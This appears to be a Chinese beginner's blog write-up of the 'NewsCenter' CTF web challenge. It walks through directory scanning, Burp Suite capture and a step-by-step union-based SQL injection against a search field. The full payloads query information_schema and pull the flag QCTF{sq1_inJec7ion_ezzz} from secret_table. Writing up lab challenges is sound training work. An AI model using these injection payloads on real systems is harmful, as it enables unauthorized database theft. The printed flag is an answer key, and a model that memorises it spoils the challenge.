攻防世界 web进阶区 NewsCenter

本文介绍了作者在攻防世界Web进阶区遇到的一道SQL注入题目,通过F12开发者工具、目录扫描、Burpsuite抓包分析,最终成功利用SQL注入找到flag。文章详细阐述了注入过程,包括使用'orderby'进行判断,联合查询获取数据库信息,以及如何从'news'和'secret_table'中提取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

标题 攻防世界 WEB进阶区 —NewsCenter

最近刚入web这一块想想写了道ctf,新手  勿喷 这也是我第一次写博客

先看题目在这里插入图片描述点开来是这样的界面
在这里插入图片描述说实话一开始没有头绪,看着这个界面觉得很奇怪,但是基于之前写过的几道题我还是按开了F12开发者视图,在里面找了很久没发现什么有用的信息,然后我在想这里有输入框,会不会是xss的题目于是我就写了

在这里插入图片描述发现页面也没有弹窗,于是陷入了漫长的沉思中,然后决定向以往一样先扫个目录看看于是起了dirmap
在这里插入图片描述
用 python dirmap.py -i 地址 -lcf
扫出几个于是我打开了一个看看在这里插入图片描述当时看着也挺懵的,这不就是之前那张页面把那些图全去掉了吗(也太随便了)
然后就是抓包 这里推荐用burp suite

在搜索框中输入一个值在这里插入图片描述看到数据包最下方有个POST提交的 search =1
看到这里不知道大家想到了什么没有
(我第一时间是想到了sql注入)
于是我去尝试,因为search框是能输入字符的所以应该先想他为字符型注入
我比较习惯于用 order by 去判断是否有sql注入
于是在这里构造
search=1’ order by 3 --+
burp suite里发送给repeater在这里插入图片描述再尝试search=1’ order by 4 --+在这里插入图片描述非常好出现错误了,原来这道题就是道sql注入的题
接下来是利用sql注入的联合查询
search=-1’ union select 1,2,3 --+在这里插入图片描述判断回显位为2,3
然后search=-1’ union select 1,version(),database() --+
获取sql版本和当前数据库名在这里插入图片描述这里为什么要获取数据库版本呢因为mysql大于5.0以上的版本有一个
系统数据库information_schema里面的tables表和columns表包含了其他所有的表和列这样我们就可以有据查询
并且这里知道了当前数据库为news
然后再构造sql语句
search=-1’ union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=‘news’ --+

在这里插入图片描述这里可以看到有两个表news,和secret_table,news应该就是页面上的那些所以我们去找flag要从secret_table表中去找
再构造sql语句search=-1’ union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=‘secret_table’ --+
在这里插入图片描述看到有两个列id,fl4g答案应该就在fl4g里面了
最后的sql语句
search=-1’ union select 1,version(),group_concat(fl4g) from secret_table --+在这里插入图片描述这样就得到flag值了
QCTF{sq1_inJec7ion_ezzz}
然后就是下一关啦
第一次写博客还望多多海涵!!!

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值